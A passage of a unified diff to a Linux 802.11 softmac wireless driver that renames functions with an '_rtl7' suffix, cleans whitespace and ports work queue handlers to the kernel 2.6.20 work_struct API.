(!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - 